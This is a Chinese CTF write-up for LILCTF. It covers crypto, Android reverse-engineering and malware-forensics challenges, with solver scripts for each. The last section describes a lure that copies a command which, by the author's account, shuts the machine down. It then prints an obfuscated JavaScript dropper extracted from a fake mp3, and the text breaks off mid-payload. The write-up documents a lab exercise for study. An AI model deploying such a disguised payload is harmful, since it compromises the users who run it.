376 if not wait_for_eth(deployer_address, min_balance=0.001, timeout=200):
377 print("[!] Failed to get sufficient ETH. Exiting...")
378 return
379
380 print("\n[+] ETH received! Proceeding with deployment...")
381
382 # Step 2: Deploy contract
383 contract_address, tx_hash = deploy_contract(token)
384
385 # Wait for deployment
386 time.sleep(5)
387
388 # Step 3: Solve challenge
389 solved = solve_challenge(contract_address, deployer_address, token)
390
391 if solved:
392 # Step 4: Get flag
393 flag = get_flag(token)
394 print("\n[+] Challenge completed successfully!")
395 else:
396 print("\n[!] Failed to solve challenge")
397
398 except Exception as e:
399 print(f"\n[!] Error: {e}")
400 import traceback
401 traceback.print_exc()
402
403
404if __name__ == "__main__":
405 main()新一轮燃尽之旅,超凡脱俗了,这次的wp很长,因为除了misc我还做了其他方向的内容) lil的题目还是很不错的,感觉学到了不少,很有意思,明年再战
最后,彦门🙏永存

Crypto
ez_math
知识点省流
ai梭哈
WP
队友做的,不过ai就能秒
Linear
知识点省流
ai梭哈
WP
简单分析一下可以确定,连上靶机后会得到很多数值,实际上是解线性代数
核心在于求解Ax=b,靶机会给我们一个16x32的矩阵和一个16维的向量,我们需要通过计算去反推一个32维的整数向量
可以将原方程变形为Ax-b=0后,构造增广矩阵M和增光向量y,使得方程为My=0
这也对应了y存在于矩阵M的零空间中,由于反推的整数向量是由范围优先的整数构成的,所以使得y在这个空间中对应的格是一个非常短的向量
用LLL算法去找到这个最短的基向量,再从中提出整数向量即可
1import os
2import random
3import signal
4
5signal.alarm(10)
6
7flag = os.getenv("LILCTF_FLAG", "LILCTF{default}")
8
9nrows = 16
10ncols = 32
11
12A = [[random.randint(1, 1919810) for _ in range(ncols)] for _ in range(nrows)]
13x = [random.randint(1, 114514) for _ in range(ncols)]
14
15b = [sum(A[i][j] * x[j] for j in range(ncols)) for i in range(nrows)]
16print(A)
17print(b)
18
19xx = list(map(int, input("Enter your solution: ").strip().split()))
20if xx != x:
21 print("Oh, your linear algebra needs to be practiced.")
22else:
23 print("Bravo! Here is your flag:")
24 print(flag)注意这里会用到sage,为了省事不用配环境,直接先用纯sage求值,再拿去给脚本提交(得益于他有10s的空档期):
sage部分
1from sage.all import Matrix, ZZ, vector
2
3
4A_list = [
5 [986289, 1037421, 876831, 1437741, 391463, 484363, 174757, 133667, 33369, 663544, 368272, 557013, 996624, 812241,
6 1810089, 1036354, 1824268, 713830, 1128134, 1102848, 627504, 1892174, 442125, 1833111, 1028453, 538386, 216739,
7 1006609, 707510, 1249813, 522731, 36698],
8 [203409, 426197, 1281098, 1144534, 675897, 1918970, 1004113, 1028254, 152856, 438475, 94912, 1681891, 1621577,
9 1518042, 1609271, 382100, 496878, 1267972, 641440, 1306870, 278998, 1408790, 37982, 597877, 1856474, 1636130,
10 467636, 675691, 1523323, 710740, 897592, 48877],
11 [1380819, 1121490, 481366, 1882091, 776973, 412181, 1893086, 1689076, 1279364, 1090203, 446504, 937696, 1356736,
12 1785698, 1133105, 972225, 1575203, 1628808, 426026, 79155, 1445489, 1250052, 385011, 1395085, 351205, 37635,
13 1028217, 750745, 41560, 320123, 132041, 494385],
14 [1421726, 493587, 32734, 569998, 306241, 1601165, 1697481, 1571883, 1691523, 607793, 1004767, 1873328, 1345180,
15 1209784, 1169513, 1848614, 446834, 1166759, 545221, 636466, 814032, 1633072, 1289697, 960543, 1774293, 1452803,
16 730007, 1516989, 1331282, 82932, 1811815, 1569724],
17 [1913284, 156925, 1739402, 1407622, 1802633, 260179, 163974, 856138, 1273063, 1703047, 1738533, 1231103, 576536,
18 1755015, 1630181, 1855508, 1918715, 1134086, 1317637, 576849, 1362016, 849710, 944924, 1564365, 629381, 629708,
19 772138, 142314, 1098055, 832171, 92261, 1222165],
20 [1618817, 421965, 1392391, 1561729, 485494, 619824, 977145, 1551189, 1795400, 1139062, 1466524, 409661, 965273,
21 585040, 358765, 1189530, 604120, 658588, 1417013, 794961, 1420364, 1708444, 40389, 1221686, 643051, 1225636,
22 1185726, 778346, 1195177, 1846558, 1531069, 222253],
23 [1016259, 919507, 1344827, 1194122, 221754, 392545, 1522180, 512245, 1534393, 562810, 900937, 369936, 1181537,
24 1828728, 1265368, 1793559, 1813844, 726597, 407245, 800557, 82744, 1194000, 1375068, 442390, 1455934, 1268947,
25 532426, 1267920, 1723155, 735945, 1478460, 698406],
26 [1612348, 1778328, 1151131, 1378584, 280865, 1086774, 984000, 819430, 1355050, 1445818, 1002362, 809283, 853566,
27 6779, 1908510, 1616151, 1891947, 857417, 1306696, 1192725, 301572, 1883223, 1671075, 1668606, 1798560, 602156,
28 1750906, 25655, 1490017, 1375289, 566125, 965745],
29 [945795, 1533988, 1226815, 1852828, 1792995, 235559, 1095019, 398406, 1644953, 309437, 1202623, 249151, 735025,
30 1022271, 1605616, 1322261, 1348376, 856010, 914895, 460316, 1529386, 1579741, 1520179, 1656578, 677860, 1587329,
31 1376986, 88712, 1562922, 1196594, 542579, 938871],
32 [938165, 756503, 1181327, 876952, 1109414, 310812, 1788066, 1127478, 1383301, 779819, 1685819, 741633, 955059,
33 89876, 1644211, 927334, 563654, 846757, 1568679, 681586, 1370600, 1281211, 472303, 1338089, 489066, 1791037,
34 1579375, 459867, 970155, 387258, 1666207, 252526],
35 [1670347, 1620499, 813248, 292357, 1236744, 319559, 1238708, 1821094, 821535, 1223683, 458896, 378949, 1227848,
36 1359572, 761771, 1848633, 1585174, 1823304, 1273961, 807635, 1374877, 514873, 567352, 83771, 315289, 996074,
37 1777508, 1810410, 1504820, 1176888, 628406, 711034],
38 [920625, 834976, 1329201, 1758883, 1274401, 513926, 1724767, 1098314, 1077424, 611843, 743733, 692149, 1188047,
39 152124, 1880491, 1514463, 654241, 1370409, 1884735, 197313, 159775, 1706411, 1899881, 1510237, 1082416, 1203683,
40 391817, 1236066, 1824223, 246962, 1384340, 288478],
41 [1250927, 753265, 1259730, 1831186, 114382, 838089, 1383458, 1073806, 1291803, 1017817, 518072, 711461, 571913,
42 989775, 1190410, 662455, 1487547, 1780354, 1098268, 1852925, 1867594, 174231, 231135, 1639009, 924589, 1507918,
43 1605300, 1591151, 947924, 827984, 469903, 460327],
44 [270631, 896737, 1284977, 1099006, 1341566, 1606736, 1697002, 57936, 1019214, 1753421, 103988, 1253453, 846179,
45 1122321, 740064, 411333, 1450647, 1486217, 1624316, 310933, 1299783, 671139, 159159, 1832387, 1497176, 1681814,
46 683684, 785514, 153169, 1568184, 334745, 182826],
47 [211918, 9306, 496852, 40006, 1787878, 1715110, 1560885, 1613812, 1877979, 924353, 1018704, 679792, 83326, 1626192,
48 1405560, 1216057, 1151537, 397417, 537968, 538506, 1169391, 1885481, 338875, 434421, 1882779, 317920, 1054176,
49 229376, 1534987, 920639, 387936, 1305511],
50 [1363205, 1206853, 271204, 895646, 757643, 67932, 1626487, 1287113, 190138, 1116279, 1577572, 1751529, 56272,
51 421504, 1862400, 1645925, 546567, 1692175, 939505, 915664, 1055182, 1063613, 668269, 86659, 1798406, 507627,
52 558143, 1691137, 1601012, 865184, 24535, 43094]]
53b_list = [1579724526882, 1522534073530, 1804523948901, 2087834012431, 2189880099453, 2084607882676, 1895922937661,
54 2203265067225, 2093004261502, 1874182288236, 2028844018471, 1884750643445, 2042413341121, 1876922882194,
55 1867103071580, 1639944240118]
56
57
58# ==============================================================================
59# --- 步骤 2: 运行此脚本 (下面的代码无需修改) ---
60
61def solve_from_data(A_data, b_data):
62 """根据给定的 A 和 b 数据,计算并返回解字符串。"""
63 try:
64 # 转换为 SageMath 对象
65 A = Matrix(ZZ, A_data)
66 b = vector(ZZ, b_data)
67
68 # 构造增广矩阵 M = [A | -b]
69 M = A.augment(-b.column())
70
71 # 计算 M 的右零空间并获取其基矩阵
72 kernel_basis = M.right_kernel().basis_matrix()
73
74 # 应用 LLL 算法找到最短向量
75 lll_basis = kernel_basis.LLL()
76 short_vector = lll_basis[0]
77
78 # 标准化向量,确保最后一个分量为 1
79 if short_vector[-1] == -1:
80 solution_y = -short_vector
81 elif short_vector[-1] == 1:
82 solution_y = short_vector
83 else:
84 # 这种情况在CTF题目中几乎不会发生
85 return f"错误: LLL求解异常,最后一个元素为 {short_vector[-1]}"
86
87 # 提取解 x (除了最后一个元素之外的所有元素)
88 x = solution_y[:-1]
89
90 # 格式化为服务器要求的空格分隔的字符串
91 solution_str = ' '.join(map(str, x))
92 return solution_str
93
94 except Exception as e:
95 return f"计算过程中发生错误: {e}"
96
97
98# 执行计算并打印结果
99if __name__ == "__main__":
100 # 检查占位符数据是否已被替换
101 if A_list == [[1, 2, 3], [4, 5, 6]]:
102 print("错误:请先将从 connector.py 获取的真实数据粘贴到此脚本中!")
103 else:
104 solution = solve_from_data(A_list, b_list)
105 print("\n" + "=" * 65)
106 print("计算完成!请将下面的解复制并粘贴到 connector.py 的运行终端中:")
107 print("=" * 65 + "\n")
108 print(solution)
109 print("\n" + "=" * 65)提交
1from pwn import *
2
3HOST = 'challenge.xinshi.fun'
4PORT = 39782
5
6
7def main():
8 try:
9 r = remote(HOST, PORT)
10 except Exception as e:
11 log.error(f"连接失败: {e}")
12 return
13
14 # --- 1. 获取题目 ---
15 log.info("正在从服务器获取矩阵 A 和向量 b...")
16 line_A = r.recvline().strip().decode()
17 line_b = r.recvline().strip().decode()
18
19 # 为了方便复制,我们打印成 Python 代码格式
20 print("\n" + "=" * 60)
21 print("请将以下内容完整复制到 'solver.sage' 文件中,然后运行它:")
22 print("=" * 60 + "\n")
23 print(f"A_list = {line_A}")
24 print(f"b_list = {line_b}")
25 print("\n" + "=" * 60)
26
27 # --- 2. 等待用户输入计算出的解 ---
28 log.info("等待您输入从 Sage 脚本计算出的解...")
29 r.recvuntil(b'Enter your solution: ')
30
31 try:
32 solution_str = input("[+] 请在此处粘贴解并按回车: ")
33 except EOFError:
34 log.error("输入被中断。")
35 r.close()
36 return
37
38 # --- 3. 提交解并获取 Flag ---
39 log.info("正在发送解...")
40 r.sendline(solution_str.encode())
41
42 log.success("解已发送!接收服务器响应...")
43
44 # 打印最终的服务器响应
45 response = r.recvall(timeout=2).decode(errors='ignore')
46 print("\n" + "=" * 20 + " 服务器响应 " + "=" * 20)
47 print(response)
48 print("=" * 55)
49
50 r.close()
51
52
53if __name__ == "__main__":
54 main()mid_math
知识点省流
ai梭哈
WP
简单来说,核心就在于用线代的特征值藏了一个key
矩阵C和D满足D=C^key
通过计算他们的特征值可以将问题转为线代问题,然后用离散对数解出key
最后解密即可
1# 文件名: calculate_keys.sage
2# 运行方式: sage calculate_keys.sage
3from sage.all import *
4
5# --- 已知信息 ---
6p = 14668080038311483271
7C_list = [[11315841881544731102, 2283439871732792326, 6800685968958241983, 6426158106328779372, 9681186993951502212], [4729583429936371197, 9934441408437898498, 12454838789798706101, 1137624354220162514, 8961427323294527914], [12212265161975165517, 8264257544674837561, 10531819068765930248, 4088354401871232602, 14653951889442072670], [6045978019175462652, 11202714988272207073, 13562937263226951112, 6648446245634067896, 13902820281072641413], [1046075193917103481, 3617988773170202613, 3590111338369894405, 2646640112163975771, 5966864698750134707]]
8D_list = [[1785348659555163021, 3612773974290420260, 8587341808081935796, 4393730037042586815, 10490463205723658044], [10457678631610076741, 1645527195687648140, 13013316081830726847, 12925223531522879912, 5478687620744215372], [9878636900393157276, 13274969755872629366, 3231582918568068174, 7045188483430589163, 5126509884591016427], [4914941908205759200, 7480989013464904670, 5860406622199128154, 8016615177615097542, 13266674393818320551], [3005316032591310201, 6624508725257625760, 7972954954270186094, 5331046349070112118, 6127026494304272395]]
9
10# 1. 设置 SageMath 的有限域和矩阵
11P = GF(p)
12C_mat = matrix(P, C_list)
13D_mat = matrix(P, D_list)
14
15print("[SAGE] 正在计算矩阵 C 和 D 的特征值...")
16# 2. 计算特征值并过滤掉 0
17C_eigenvalues = [v for v in C_mat.eigenvalues() if v != 0]
18D_eigenvalues = [v for v in D_mat.eigenvalues() if v != 0]
19
20print(f"[SAGE] C 的非零特征值: {C_eigenvalues}")
21print(f"[SAGE] D 的非零特征值: {D_eigenvalues}")
22
23# 3. 遍历所有可能的特征值配对,求解离散对数
24potential_keys = set() # 使用集合来自动去重
25for c_eig in C_eigenvalues:
26 for d_eig in D_eigenvalues:
27 try:
28 # 求解离散对数: d_eig = c_eig ^ key
29 key_candidate = d_eig.log(c_eig)
30 potential_keys.add(int(key_candidate))
31 except (ValueError, TypeError):
32 # 如果配对不正确,log 会失败
33 continue
34
35print("\n" + "="*50)
36print("[SAGE] 数学计算完成。")
37print("[SAGE] 所有可能的候选 Key 如下:")
38print(list(potential_keys))
39print("="*50)
40print("\n请将上面的列表复制到下一个 Python 脚本中。")exp.py
1# 文件名: decrypt_flag.py
2# 运行方式: python decrypt_flag.py
3from Crypto.Cipher import AES
4from Crypto.Util.Padding import pad, unpad
5from Crypto.Util.number import long_to_bytes
6
7# --- 已知信息 ---
8msg = b"\xcc]B:\xe8\xbc\x91\xe2\x93\xaa\x88\x17\xc4\xe5\x97\x87@\x0fd\xb5p\x81\x1e\x98,Z\xe1n`\xaf\xe0%:\xb7\x8aD\x03\xd2Wu5\xcd\xc4#m'\xa7\xa4\x80\x0b\xf7\xda8\x1b\x82k#\xc1gP\xbd/\xb5j"
9
10# --- 粘贴从 Sage 脚本得到的候选 Key 列表 ---
11# 例如: potential_keys = [12345, 67890, ...]
12potential_keys = [6448373187654316742] # 提示:这里我已经把上一步的计算结果填好了
13
14
15# --- 开始解密 ---
16print("[PYTHON] 开始尝试使用候选 Key 进行解密...")
17found = False
18for key_int in potential_keys:
19 try:
20 print(f"\n[*] 正在尝试 Key: {key_int}")
21
22 # 1. 准备 AES 密钥
23 aes_key = pad(long_to_bytes(key_int), 16)
24
25 # 2. 创建解密器并解密
26 cipher = AES.new(aes_key, AES.MODE_ECB)
27 decrypted_padded = cipher.decrypt(msg)
28
29 # 3. 反填充
30 # 原始脚本使用 pad(flag, 64),所以 unpad 时 block_size 也是 64
31 decrypted = unpad(decrypted_padded, 64)
32
33 # 4. 验证解密结果
34 if decrypted.startswith(b'LILCTF{'):
35 print("\n" + "="*50)
36 print(f"[SUCCESS] 找到正确的 Key: {key_int}")
37 print(f"[SUCCESS] 解密成功! Flag 是: {decrypted.decode()}")
38 print("="*50)
39 found = True
40 break
41 else:
42 print(f"[-] 解密内容不正确: {decrypted}")
43
44 except Exception as e:
45 # 可能是 unpad 错误,说明 key 不正确
46 print(f"[-] 解密或反填充失败: {e}")
47 continue
48
49if not found:
50 print("\n[FAIL] 遍历了所有候选 Key,但未能解密 Flag。")Space Travel
知识点省流
ai梭哈
WP
直接利用题目给出的数据构建线性方程组去求解密钥的话需要解2^50量级的解空间
直接暴力求解是很难的,经过多次尝试后,留意到vecs表追踪共给了4096个向量,恰好是其张成的13维子空间的一半((2^13)/2),可以利用这些向量的基坐标去满足一个仿射线性方程,基于这个约束建立50个线性方程,直接构建出一个可直接求解的50x50的方程组,从而解出密钥
1import numpy as np
2from hashlib import md5
3from Crypto.Cipher import AES
4
5# --- 请将从题目文件中获得的数据填入此处 ---
6
7# TODO: 在这里粘贴来自 'params.py' 的 'vecs' 列表
8vecs_str = []
9
10# TODO: 在这里粘贴来自 'output.txt' 中'🎁'部分的列表
11data = []
12
13# TODO: 在这里粘贴来自 'output.txt' 中'🚩'部分的加密Flag
14# 请确保它是一个字节对象 (以 b' 开头)
15
16encrypted_flag = b''
17
18
19
20# --- 数据填充结束 ---
21
22def get_rref_and_pivots(A):
23 """计算矩阵A在GF(2)上的简化行阶梯形(RREF)和主元列索引"""
24 m, n = A.shape
25 A_rref = A.copy()
26 pivot_cols = []
27 pivot_row = 0
28 col_order = list(range(n))
29
30 for j in range(n):
31 if pivot_row < m:
32 i = pivot_row
33 while i < m and A_rref[i, j] == 0:
34 i += 1
35 if i < m:
36 A_rref[[pivot_row, i]] = A_rref[[i, pivot_row]]
37 for row_idx in range(m):
38 if row_idx != pivot_row and A_rref[row_idx, j] == 1:
39 A_rref[row_idx, :] ^= A_rref[pivot_row, :]
40 pivot_cols.append(j)
41 pivot_row += 1
42
43 for i in range(len(pivot_cols) - 1, -1, -1):
44 pivot_col = pivot_cols[i]
45 for row_idx in range(i):
46 if A_rref[row_idx, pivot_col] == 1:
47 A_rref[row_idx, :] ^= A_rref[i, :]
48
49 return A_rref, pivot_cols
50
51
52def solve_linear_system_gf2(A, b):
53 """使用高斯消元法求解 Ax = b 在 GF(2) 上的一个特解"""
54 m, n = A.shape
55 aug = np.hstack([A.copy(), b.reshape(-1, 1)])
56 aug_rref, pivot_cols = get_rref_and_pivots(aug)
57
58 x = np.zeros(n, dtype=np.uint8)
59 # 检查解是否存在
60 for i in range(len(pivot_cols), m):
61 if aug_rref[i, -1] == 1:
62 raise ValueError("System has no solution")
63
64 for i, p_col in enumerate(pivot_cols):
65 if p_col < n:
66 x[p_col] = aug_rref[i, -1]
67 return x
68
69
70def get_null_space_basis(A):
71 """求解矩阵A在GF(2)上的零空间基"""
72 m, n = A.shape
73 A_rref, pivot_cols = get_rref_and_pivots(A)
74 free_cols = sorted(list(set(range(n)) - set(pivot_cols)))
75
76 basis = []
77 for f_col in free_cols:
78 v = np.zeros(n, dtype=np.uint8)
79 v[f_col] = 1
80 for i, p_col in enumerate(pivot_cols):
81 if A_rref[i, f_col] == 1:
82 v[p_col] = 1
83 basis.append(v)
84 return np.array(basis, dtype=np.uint8).T
85
86
87def solve_challenge():
88 if not all([vecs_str, data, encrypted_flag]):
89 print("错误:请先在脚本中填入 'vecs_str', 'data', 和 'encrypted_flag' 的值。")
90 return
91
92 print("步骤 1: 分析vecs列表,找到隐藏的线性约束...")
93 vecs_np = np.array([[int(c) for c in v] for v in vecs_str], dtype=np.uint8)
94
95 # 1a. 计算vecs空间的基
96 rref_vecs, p_cols_vecs = get_rref_and_pivots(vecs_np)
97 rank = len(p_cols_vecs)
98 basis_matrix = rref_vecs[:rank]
99 print(f" - vecs空间的秩 (Rank) = {rank}")
100
101 # 1b. 将所有vecs向量表示为基的系数
102 # 为了求解 a @ B = v,我们解 B.T @ a.T = v.T
103 B_T = basis_matrix.T
104 coeffs = []
105 for v in vecs_np:
106 a = solve_linear_system_gf2(B_T, v)
107 coeffs.append(a)
108 coeffs_matrix = np.array(coeffs, dtype=np.uint8)
109
110 # 1c. 找到系数矩阵的仿射约束 w, b
111 # 寻找一个向量 (w, b) 使得 [coeffs_matrix | 1] @ (w, b).T = 0
112 aug_coeffs = np.hstack([coeffs_matrix, np.ones((len(coeffs_matrix), 1), dtype=np.uint8)])
113 affine_constraint = get_null_space_basis(aug_coeffs)[:, 0]
114 w = affine_constraint[:-1]
115 b = affine_constraint[-1]
116 print(" - 成功找到隐藏的线性约束方程!")
117
118 print("步骤 2: 构建主线性方程组...")
119 num_unknowns = 50 * rank
120 A_new = np.zeros((len(data), num_unknowns), dtype=np.uint8)
121 p = np.array([item[1] for item in data], dtype=np.uint8)
122
123 for i, (nonce, _) in enumerate(data):
124 nonce_bits = format(nonce, f'0{50*16}b')
125 row = []
126 for j in range(50):
127 n_j = np.array([int(b) for b in nonce_bits[j*16:(j+1)*16]], dtype=np.uint8)
128 row.extend((basis_matrix @ n_j) % 2)
129 A_new[i] = np.array(row, dtype=np.uint8)
130
131 print("步骤 3: 求解主方程组的特解和零空间...")
132 M_p_flat, N_basis = get_null_space_basis(A_new), get_null_space_basis(np.hstack([A_new, p.reshape(-1,1)]))
133 M_p_flat = N_basis[:num_unknowns, -1]
134 N_basis = N_basis[:num_unknowns, :-1]
135
136 d_null = N_basis.shape[1]
137 print(f" - 特解已找到,零空间维度为 {d_null}")
138
139 print("步骤 4: 利用隐藏约束构建新方程组,直接求解零空间系数...")
140 M_p = M_p_flat.reshape(50, rank)
141 Ac = np.zeros((50, d_null), dtype=np.uint8)
142 bc = np.zeros(50, dtype=np.uint8)
143
144 for j in range(50):
145 # (M_p_j + sum(c_i * N_ij)) @ w + b = 0
146 # sum(c_i * (N_ij @ w)) = M_p_j @ w + b
147 for i in range(d_null):
148 N_ij = N_basis[:, i].reshape(50, rank)[j]
149 Ac[j, i] = (N_ij @ w) % 2
150 bc[j] = ((M_p[j] @ w) % 2 + b) % 2
151
152 print(" - 新方程组构建完毕,求解...")
153 c = solve_linear_system_gf2(Ac, bc)
154 print(" - 成功求解出唯一的零空间系数!")
155
156 print("步骤 5: 重构最终密钥...")
157 M_correct_flat = (M_p_flat + N_basis @ c) % 2
158 coefficients = M_correct_flat.reshape(50, rank)
159 key_blocks = (coefficients @ basis_matrix) % 2
160 key_str = "".join("".join(map(str, row)) for row in key_blocks)
161 key = int(key_str, 2)
162 print(" - 密钥重构成功。")
163
164 print("步骤 6: 解密Flag...")
165 aes_key = md5(str(key).encode()).digest()
166 cipher = AES.new(key=aes_key, nonce=b"Tiffany", mode=AES.MODE_CTR)
167 flag = cipher.decrypt(encrypted_flag)
168
169 print("\n" + "="*40)
170 try:
171 print(f"🚩 Flag: {flag.decode()}")
172 except UnicodeDecodeError:
173 print(f"🚩 Flag (原始字节): {flag}")
174 print("="*40)
175
176if __name__ == '__main__':
177 solve_challenge()
Re
ARM ASM
知识点省流
简单的安卓逆向
WP
先用ida分析一下apk里面的so,找到mainactivity,看不懂就丢给ai分析,大致可以确定是一个对输入字符串的加解密编码的过程,同时里面引入了一个t的值

可以看到里面用到了一个base64的编码函数,找到t对应的位置,还能看到base64的索引表,这里被魔改了

所以提出t的值和base64索引表后,我们就可以写解密脚本了,但现在我们还需要密文
这里需要用到jadx去打开apk,老样子还是找mainactivity,就能看到下面加密字符串

最后搓脚本就好
1# --- 自定义字符表 ---
2CUSTOM_BASE64_ALPHABET = "abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ3456780129+/"
3
4# --- 常量和初始数据 ---
5
6# t表保持不变
7t_table = [0xD, 0xE, 0xF, 0xC, 0xB, 0xA, 9, 8, 6, 7, 5, 4, 2, 3, 1, 0]
8
9# 加密的字符串
10encrypted_str = "KRD2c1XRSJL9e0fqCIbiyJrHW1bu0ZnTYJvYw1DM2RzPK1XIQJnN2ZfRMY4So09S"
11
12
13# --- 辅助函数 ---
14
15def custom_b64decode(encoded_string):
16 """
17 使用自定义的Base64字符表解码字符串。
18 """
19 # 创建从字符到索引值的反向映射
20 decode_map = {char: i for i, char in enumerate(CUSTOM_BASE64_ALPHABET)}
21
22 # 移除任何可能的填充符(尽管在这个例子中没有)
23 encoded_string = encoded_string.rstrip('=')
24
25 # 将编码字符串转换为6位的整数值列表
26 sextets = [decode_map[char] for char in encoded_string]
27
28 decoded_bytes = bytearray()
29 # 以4个值为一组进行处理 (4 * 6位 = 24位 = 3字节)
30 for i in range(0, len(sextets), 4):
31 chunk = sextets[i:i + 4]
32
33 # 将4个6位值合并成一个24位整数
34 val = (chunk[0] << 18) | (chunk[1] << 12) | (chunk[2] << 6) | chunk[3]
35
36 # 将24位整数拆分为3个8位字节
37 byte1 = (val >> 16) & 0xFF
38 byte2 = (val >> 8) & 0xFF
39 byte3 = val & 0xFF
40
41 decoded_bytes.extend([byte1, byte2, byte3])
42
43 # 根据填充情况处理末尾
44 if encoded_string.endswith('=='):
45 return decoded_bytes[:-2]
46 elif encoded_string.endswith('='):
47 return decoded_bytes[:-1]
48
49 return decoded_bytes
50
51
52def rol(byte, shift):
53 """
54 对一个字节执行左循环移位 (ROL)。
55 """
56 return ((byte << shift) | (byte >> (8 - shift))) & 0xFF
57
58
59def get_table_for_iteration(i):
60 """
61 计算在加密循环的第 'i' 次迭代时使用的v10表。
62 表在每次迭代中被使用后才会更新。
63 """
64 current_table = list(t_table)
65 # i=0时, 使用原始的t表。
66 # i=1时, 使用原始的t表。
67 # i=2时, 使用 t表 XOR [1,1,1,...] 后的表。
68 if i == 2:
69 for j in range(16):
70 current_table[j] ^= 1
71 return current_table
72
73
74def unshuffle(data_chunk, table):
75 """
76 逆转查询表操作 (vqtbl1q_s8)。
77 加密: shuffled[j] = plain[table[j]]
78 解密: plain[table[j]] = shuffled[j]
79 """
80 if len(data_chunk) != 16 or len(table) != 16:
81 raise ValueError("数据和表都必须是16字节。")
82
83 plain_chunk = [0] * 16
84 for i in range(16):
85 # 目标索引是 table[i]
86 # 要放置的值是 data_chunk[i]
87 plain_chunk[table[i]] = data_chunk[i]
88
89 return plain_chunk
90
91
92# --- 解密流程 ---
93
94# 1. 使用自定义的字符表进行Base64解码
95try:
96 decoded_data = custom_b64decode(encrypted_str)
97 print(f"[+] 使用自定义字符表解码后的数据 (长度={len(decoded_data)}): {decoded_data.hex()}")
98except Exception as e:
99 print(f"[-] 自定义Base64解码失败: {e}")
100 exit()
101
102if len(decoded_data) != 48:
103 print(f"[-] 错误: 解码后的数据长度不是48字节, 而是 {len(decoded_data)}。")
104 exit()
105
106# 2. 逆转第二个循环 (位操作)
107# 加密是ROR (右循环移位), 所以我们用ROL (左循环移位) 来逆转。
108data_after_bit_ops_reversal = bytearray(decoded_data)
109for j in range(0, 48, 3):
110 # 逆转: v11[j] = ROR(v11[j], 5) => v11[j] = ROL(v11[j], 5)
111 data_after_bit_ops_reversal[j] = rol(data_after_bit_ops_reversal[j], 5)
112
113 # 逆转: v11[j+1] = ROR(v11[j+1], 1) => v11[j+1] = ROL(v11[j+1], 1)
114 data_after_bit_ops_reversal[j + 1] = rol(data_after_bit_ops_reversal[j + 1], 1)
115
116 # v11[j+2] 没有被修改, 所以我们什么都不做。
117
118print(f"[+] 逆转位旋转操作后的数据: {data_after_bit_ops_reversal.hex()}")
119
120# 3. 逆转第一个循环 (NEON逻辑)
121# 我们必须以相反的顺序迭代: 2, 1, 0。
122final_decrypted_data = bytearray(data_after_bit_ops_reversal)
123
124for i in range(2, -1, -1):
125 # 获取当前处理的16字节数据块
126 start = 16 * i
127 end = start + 16
128 encrypted_chunk = final_decrypted_data[start:end]
129
130 # 获取本次迭代对应的正确的表
131 current_table = get_table_for_iteration(i)
132
133 # 步骤 3.1: 逆转XOR操作
134 # encrypted_chunk = XOR(shuffled_plain, table) => shuffled_plain = XOR(encrypted_chunk, table)
135 shuffled_plain = [c ^ t for c, t in zip(encrypted_chunk, current_table)]
136
137 # 步骤 3.2: 逆转shuffle操作 (vqtbl1q_s8)
138 plain_chunk = unshuffle(shuffled_plain, current_table)
139
140 # 将解密后的数据块放回数据数组中
141 final_decrypted_data[start:end] = bytearray(plain_chunk)
142
143# --- 最终结果 ---
144try:
145 result_string = final_decrypted_data.decode('utf-8')
146 print("\n========================================")
147 print(f"✅ Flag/解密后的字符串: {result_string}")
148 print("========================================")
149except UnicodeDecodeError:
150 print("\n========================================")
151 print("[-] 无法将结果解码为UTF-8字符串。原始字节如下:")
152 print(f"解密后的字节: {final_decrypted_data.hex()}")
153 print("========================================")1’M no7 A rO6oT
知识点省流
还算简单的恶意代码取证逆向
WP
首先题目提到了自行承担后果,所以铁定没什么好事
进靶机之后根据他的验证提示,发现这里莫名其妙复制了一串命令(如果真执行了就会关机tmd)

拉出来分析,发现他访问了一个mp3文件,给他下下来,不用说都知道里面有恶意代码或者程序,但是直接010看尾巴看不出来,内容有一点多,所以我一点点翻,发现这里有个script,所以把他前后截断提取出来

提取得到代码如下,这其实就js,
1<script>window.resizeTo(0, 0);window.moveTo(-9999, -9999); SK=102;UP=117;tV=110;Fx=99;nI=116;pV=105;wt=111;RV=32;wV=82;Rp=106;kz=81;CX=78;GH=40;PS=70;YO=86;kF=75;PO=113;QF=41;sZ=123;nd=118;Ge=97;sV=114;wl=104;NL=121;Ep=76;uS=98;Lj=103;ST=61;Ix=34;Im=59;Gm=101;YZ=109;Xj=71;Fi=48;dL=60;cX=46;ho=108;jF=43;Gg=100;aV=90;uD=67;Nj=83;US=91;tg=93;vx=45;xv=54;QB=49;WT=125;FT=55;yN=51;ff=44;it=50;NW=53;kX=57;zN=52;Mb=56;Wn=119;sC=65;Yp=88;FF=79;var SxhM = String.fromCharCode(SK,UP,tV,Fx,nI,pV,wt,tV,RV,pV,wt,wV,Rp,kz,CX,GH,PS,YO,kF,PO,QF,sZ,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,ST,RV,Ix,Ix,Im,SK,wt,sV,RV,GH,nd,Ge,sV,RV,Gm,YZ,Xj,kF,RV,ST,RV,Fi,Im,Gm,YZ,Xj,kF,RV,dL,RV,PS,YO,kF,PO,cX,ho,Gm,tV,Lj,nI,wl,Im,RV,Gm,YZ,Xj,kF,jF,jF,QF,sZ,nd,Ge,sV,RV,tV,Gg,aV,uD,RV,ST,RV,Nj,nI,sV,pV,tV,Lj,cX,SK,sV,wt,YZ,uD,wl,Ge,sV,uD,wt,Gg,Gm,GH,PS,YO,kF,PO,US,Gm,YZ,Xj,kF,tg,RV,vx,RV,xv,Fi,QB,QF,Im,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,wt,wl,NL,Ep,uS,Lj,RV,jF,RV,tV,Gg,aV,uD,WT,sV,Gm,nI,UP,sV,tV,RV,wt,wl,NL,Ep,uS,Lj,WT,Im,nd,Ge,sV,RV,wt,wl,NL,Ep,uS,Lj,RV,ST,RV,pV,wt,wV,Rp,kz,CX,GH,US,FT,QB,yN,ff,RV,FT,QB,it,ff,RV,FT,it,Fi,ff,RV,FT,Fi,it,ff,RV,FT,QB,NW,ff,RV,FT,QB,xv,ff,RV,FT,Fi,NW,ff,RV,FT,Fi,it,ff,RV,FT,Fi,kX,ff,RV,FT,Fi,kX,ff,RV,xv,zN,FT,ff,RV,FT,Fi,it,ff,RV,FT,it,QB,ff,RV,FT,Fi,it,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,it,Fi,ff,RV,xv,yN,yN,ff,RV,xv,NW,Fi,ff,RV,xv,yN,yN,ff,RV,xv,zN,xv,ff,RV,FT,Fi